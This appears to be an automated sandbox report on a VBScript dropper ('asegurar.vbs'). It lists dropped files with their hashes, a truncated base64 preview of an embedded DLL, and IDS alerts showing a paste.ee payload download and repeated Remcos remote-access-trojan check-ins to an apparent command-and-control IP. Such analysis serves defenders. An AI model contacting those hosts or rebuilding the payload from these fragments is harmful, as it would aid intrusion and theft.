Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_led4k1bt.bdd.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mipky4am.ds4.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ouoftpk4.jyi.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qz50m0am.a4n.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvv3jrxo.ax3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dll01.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	82604
Entropy (8bit):	4.933268783138117
Encrypted:	false
SSDEEP:	1536:yxkG9DytusrHiJZM2FeBZ0YNIIIlNsDf50jguaPCcl7wh6V8xPOr:M59Dpeir8ZRNIItzu4z7s+Br
MD5:	E177873E2D842F08553C449F4758A4CE
SHA1:	91612A3524924E253495CBF1DD05AEFDFB118FFC
SHA-256:	970E00FFC2819C1F2D6FBE0C13E115B101F28108813B04ACFEE162043648E0EA
SHA-512:	2F38AC3FD5C68297DEA3538C74E327850F6CEC6C28326DA34FCD4AE7FCDD6D26DFE337498C5D44438006A231CDBA86DBB605F2CE3F8A66142600E50F13B447FC
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAPyfIWcAAAAAAAAAAOAAIiALAVAAAOoAAAAGAAAAAAAATgkBAAAgAAAAAAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAABgAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAPgIAQBTAAAAACABAAAEAAAAAAAAAAAAAAAAAAAAAAAAAEABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAVOkAAAAgAAAA6gAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAAAEAAAAIAEAAAQAAADsAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAEABAAACAAAA8AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAwCQEAAAAAAEgAAAACAAUATKcAAKxhAAABAAAAAAAAAHSaAADYDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqJgACKAQAAAoAKgAAEzAEACwAAAABAAARIAU3UAAoBgAACm8HAAAK0AQAAAIoCAAACm8JAAAKKAoAAAoUFCjpAAAGJioTMAQAMAAAAAEAABEgyjRQACgGAAAKbwcAAArQBAAAAigIAAAKbwkAAAooCgAAChQUKOkAAAZ0AwAAAioTMAQAMAAAAAEAABEgsDRQACgGAAAK

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (302), with CRLF line terminators
Entropy (8bit):	3.5702788509354697
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	asegurar.vbs
File size:	15'016'182 bytes
MD5:	aee210142f6411df0f3c0469d2a9df27
SHA1:	991b0e994e4da9f76bf9fd03bc3fef75dfd94590
SHA256:	3a07acb9e24dace059cea1a5c9c90f457e3c0d3e823805ae2fd0241d75917fc2
SHA512:	5199ec7836d07bfe4c48deb3d16993f45ffc9864c404330462f9698960f7a5272bc5a7fff56f4a0d9afa9df2c01271cd0b303004f874797e20ec997c3f55fae3
SSDEEP:	1536:lyyyyyyyyyyyyyyyyyyyyyyyryyyyyyyyyyyyyyyyyyyyyyycyyyyyyyyyyyyyyz:TZ5U
TLSH:	A1E60113A759EF30DF56387370D37B975261E3BA199C489C60E8822828C59A347D1BFE
File Content Preview:	..........'. .4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4..".0..@... ...@...@...4

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T07:41:19.134483+0100	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T07:41:19.521177+0100	2020423	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound	1	188.114.97.3	443	192.168.2.4	49736	TCP
2024-10-31T07:41:19.521177+0100	2020425	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2	1	188.114.97.3	443	192.168.2.4	49736	TCP
2024-10-31T07:41:21.752336+0100	2858295	ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)	1	188.114.97.3	443	192.168.2.4	49736	TCP
2024-10-31T07:41:22.031540+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49741	181.236.112.169	2001	TCP
2024-10-31T07:41:23.610045+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49742	181.236.112.169	2001	TCP
2024-10-31T07:41:25.190506+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49743	181.236.112.169	2001	TCP
2024-10-31T07:41:26.756293+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49744	181.236.112.169	2001	TCP
2024-10-31T07:41:28.312938+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49745	181.236.112.169	2001	TCP
2024-10-31T07:41:29.875749+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49746	181.236.112.169	2001	TCP
2024-10-31T07:41:31.453622+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49747	181.236.112.169	2001	TCP
2024-10-31T07:41:33.953405+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49748	181.236.112.169	2001	TCP
2024-10-31T07:41:35.531715+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49749	181.236.112.169	2001	TCP
2024-10-31T07:41:37.109960+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49750	181.236.112.169	2001	TCP
2024-10-31T07:41:38.675448+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49751	181.236.112.169	2001	TCP
2024-10-31T07:41:40.234871+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49752	181.236.112.169	2001	TCP
2024-10-31T07:41:41.817111+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49753	181.236.112.169	2001	TCP
2024-10-31T07:41:43.391319+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49754	181.236.112.169	2001	TCP
2024-10-31T07:41:44.969400+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49755	181.236.112.169	2001	TCP
2024-10-31T07:41:46.532179+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49756	181.236.112.169	2001	TCP
2024-10-31T07:41:48.095206+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49757	181.236.112.169	2001	TCP
2024-10-31T07:41:49.656958+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49758	181.236.112.169	2001	TCP
2024-10-31T07:41:51.220517+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49759	181.236.112.169	2001	TCP
2024-10-31T07:41:52.815631+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49760	181.236.112.169	2001	TCP
2024-10-31T07:41:54.375581+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49761	181.236.112.169	2001	TCP
2024-10-31T07:41:55.937978+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49762	181.236.112.169	2001	TCP
2024-10-31T07:41:57.672426+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49764	181.236.112.169	2001	TCP
2024-10-31T07:41:59.250597+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49766	181.236.112.169	2001	TCP
2024-10-31T07:42:00.815279+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49777	181.236.112.169	2001	TCP
2024-10-31T07:42:02.376348+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49783	181.236.112.169	2001	TCP
2024-10-31T07:42:03.938417+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49794	181.236.112.169	2001	TCP
2024-10-31T07:42:05.500475+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49805	181.236.112.169	2001	TCP
2024-10-31T07:42:07.079178+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49816	181.236.112.169	2001	TCP
2024-10-31T07:42:08.657245+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49824	181.236.112.169	2001	TCP
2024-10-31T07:42:10.238744+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49833	181.236.112.169	2001	TCP
2024-10-31T07:42:11.813179+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49844	181.236.112.169	2001	TCP
2024-10-31T07:42:13.377766+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49853	181.236.112.169	2001	TCP
2024-10-31T07:42:14.938356+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49861	181.236.112.169	2001	TCP
2024-10-31T07:42:16.438779+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49872	181.236.112.169	2001	TCP
2024-10-31T07:42:17.918640+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49881	181.236.112.169	2001	TCP
2024-10-31T07:42:19.344349+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49889	181.236.112.169	2001	TCP
2024-10-31T07:42:20.766372+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49899	181.236.112.169	2001	TCP
2024-10-31T07:42:22.244555+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49910	181.236.112.169	2001	TCP
2024-10-31T07:42:23.625678+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49917	181.236.112.169	2001	TCP
2024-10-31T07:42:24.962289+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49923	181.236.112.169	2001	TCP
2024-10-31T07:42:26.266463+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49934	181.236.112.169	2001	TCP
2024-10-31T07:42:27.570771+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49940	181.236.112.169	2001	TCP
2024-10-31T07:42:28.844251+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49951	181.236.112.169	2001	TCP
2024-10-31T07:42:30.076346+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49957	181.236.112.169	2001	TCP
2024-10-31T07:42:31.297618+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49965	181.236.112.169	2001	TCP
2024-10-31T07:42:32.485126+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49974	181.236.112.169	2001	TCP
2024-10-31T07:42:33.657910+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49980	181.236.112.169	2001	TCP
2024-10-31T07:42:34.813151+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49989	181.236.112.169	2001	TCP
2024-10-31T07:42:35.954553+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49997	181.236.112.169	2001	TCP
2024-10-31T07:42:37.063222+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50003	181.236.112.169	2001	TCP
2024-10-31T07:42:38.157818+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50009	181.236.112.169	2001	TCP
2024-10-31T07:42:39.219852+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50018	181.236.112.169	2001	TCP
2024-10-31T07:42:40.270568+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50026	181.236.112.169	2001	TCP
2024-10-31T07:42:41.314003+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50032	181.236.112.169	2001	TCP
2024-10-31T07:42:42.344399+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50038	181.236.112.169	2001	TCP
2024-10-31T07:42:43.385290+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50044	181.236.112.169	2001	TCP
2024-10-31T07:42:44.375625+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50051	181.236.112.169	2001	TCP
2024-10-31T07:42:45.359620+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50058	181.236.112.169	2001	TCP
2024-10-31T07:42:46.329576+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50064	181.236.112.169	2001	TCP
2024-10-31T07:42:47.287882+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50067	181.236.112.169	2001	TCP
2024-10-31T07:42:48.219436+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50068	181.236.112.169	2001	TCP
2024-10-31T07:42:49.141592+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50069	181.236.112.169	2001	TCP
2024-10-31T07:42:50.063925+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50070	181.236.112.169	2001	TCP
2024-10-31T07:42:50.970039+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50071	181.236.112.169	2001	TCP
2024-10-31T07:42:51.875778+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50072	181.236.112.169	2001	TCP
2024-10-31T07:42:52.780861+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50073	181.236.112.169	2001	TCP
2024-10-31T07:42:53.641839+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50074	181.236.112.169	2001	TCP
2024-10-31T07:42:54.518547+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50075	181.236.112.169	2001	TCP
2024-10-31T07:42:55.398388+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50076	181.236.112.169	2001	TCP
2024-10-31T07:42:56.235002+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50077	181.236.112.169	2001	TCP
2024-10-31T07:42:57.176751+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50078	181.236.112.169	2001	TCP
2024-10-31T07:42:58.020953+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50079	181.236.112.169	2001	TCP
2024-10-31T07:42:58.829009+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50080	181.236.112.169	2001	TCP
2024-10-31T07:42:59.783941+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50081	181.236.112.169	2001	TCP
2024-10-31T07:43:00.580874+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50082	181.236.112.169	2001	TCP
2024-10-31T07:43:01.380012+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50083	181.236.112.169	2001	TCP
2024-10-31T07:43:02.178849+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50084	181.236.112.169	2001	TCP
2024-10-31T07:43:02.970527+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50085	181.236.112.169	2001	TCP
2024-10-31T07:43:03.737488+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50086	181.236.112.169	2001	TCP
2024-10-31T07:43:04.500479+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50087	181.236.112.169	2001	TCP
2024-10-31T07:43:05.470561+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50088	181.236.112.169	2001	TCP
2024-10-31T07:43:06.222550+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50089	181.236.112.169	2001	TCP
2024-10-31T07:43:06.974546+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50090	181.236.112.169	2001	TCP
2024-10-31T07:43:07.703876+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50091	181.236.112.169	2001	TCP
2024-10-31T07:43:08.442565+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50092	181.236.112.169	2001	TCP
2024-10-31T07:43:09.861260+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50093	181.236.112.169	2001	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 07:41:04.988890886 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:04.988928080 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:04.989003897 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:04.997806072 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:04.997817993 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:05.637697935 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:05.637779951 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:05.649600029 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:05.649614096 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:05.649846077 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:05.698606014 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:05.706651926 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:05.751331091 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:06.332400084 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:06.332473993 CET	443	49730	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:06.332629919 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:06.370873928 CET	49730	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:10.257101059 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:10.257148027 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:10.257219076 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:10.262222052 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:10.262239933 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.119579077 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.119673967 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.122773886 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.122785091 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.122989893 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.128626108 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.175331116 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.643759966 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.643781900 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.643800020 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.643866062 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.643894911 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.644030094 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.644030094 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.645796061 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.645813942 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.645878077 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.645888090 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.697386026 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.767323017 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.767335892 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.767493010 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.767493010 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.767505884 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.767589092 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.885282993 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.885298014 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.885384083 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.885397911 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.885427952 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.885443926 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.998410940 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.998429060 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.998539925 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.998554945 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.998785019 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:11.998795033 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.998804092 CET	443	49731	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:11.998850107 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:12.021162033 CET	49731	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:14.343987942 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:14.344048977 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:14.344141006 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:14.344372988 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:14.344388008 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:14.961853027 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:14.963495016 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:14.963527918 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:15.580326080 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:15.580398083 CET	443	49732	104.20.3.235	192.168.2.4
Oct 31, 2024 07:41:15.580446959 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:15.581368923 CET	49732	443	192.168.2.4	104.20.3.235
Oct 31, 2024 07:41:15.582551956 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:15.582580090 CET	443	49733	164.132.58.105	192.168.2.4
